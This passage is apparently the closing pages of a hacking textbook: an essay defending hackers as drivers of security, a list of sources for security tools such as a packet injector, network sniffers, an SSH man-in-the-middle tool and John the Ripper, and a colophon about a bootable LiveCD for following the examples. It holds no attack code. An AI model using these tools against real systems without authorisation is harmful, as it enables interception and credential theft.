nightmare terrorism scenarios these laws are so afraid of. Restricting hackers 
with laws can make the worst-case scenarios more likely, since it leaves more 
undiscovered vulnerabilities to be exploited by those who aren't bound by the 
law and want to do real damage. 


Some could argue that if there weren't hackers, there would be no reason to fix 
these undiscovered vulnerabilities. That is one perspective, but personally I 


prefer progress over stagnation. Hackers play a very important role in the co- 
evolution of technology. Without hackers, there would be little reason for 
computer security to improve. Besides, as long as the questions "Why?" and 
"What if?" are asked, hackers will always exist. A world without hackers would 
be a world without curiosity and innovation. 


Hopefully, this book has explained some basic techniques of hacking and 
perhaps even the spirit of it. Technology is always changing and expanding, so 
there will always be new hacks. There will always be new vulnerabilities in 
software, ambiguities in protocol specifications, and a myriad of other 
oversights. The knowledge gained from this book is just a starting point. It's up 
to you to expand upon it by continually figuring out how things work, wondering 
about the possibilities, and thinking of the things that the developers didn't think 
of. It's up to you to make the best of these discoveries and apply this knowledge 
however you see fit. Information itself isn't a crime. 
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Sources 


pcalc 
A programmer's calculator available from Peter Glen 
http://ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz 

NASM 
The Netwide Assembler, from the NASM Development Group 
http://nasm.sourceforge.net 

Nemesis 
A commandline packet injection tool from obecian (Mark Grimes) and Jeff 
Nathan 
http://www.packetfactory.net/projects/nemesis 

dsniff 
A collection of network-sniffing tools from Dug Song 
http://monkey.org/~dugsong/dsniff 

Dissembler 
A printable ASCII bytecode polymorpher from Matrix (Jose Ronnick) 
http://www.phiral.com 

mitmssh 
An SSH man-in-the-middle tool from Claes Nyberg 
http://www.signedness.org/tools/mitmssh.tgz 

ffp 
A fuzzy fingerprint—generation tool from Konrad Rieck 
http://freeworld.thc.org/thc-ffp 

John the Ripper 
A password cracker from Solar Designer 
http://www.openwall.com/john 


COLOPHON 


The bootable LiveCD provides a Linux-based hacking environment that is 
preconfigured for programming, debugging, manipulating network traffic, and 
cracking encryption. It contains all the source code and applications used in the 
book. Hacking is about discovery and innovation, and with this LiveCD you can 
instantly follow along with the book's examples and explore on your own. 


The LiveCD can be used in most common personal computers without installing 
a new operating system or modifying the computer's current setup. System 
requirements are an x86-based PC with at least 64MB of system memory and a 
BIOS that is configured to boot from a CD-ROM. 
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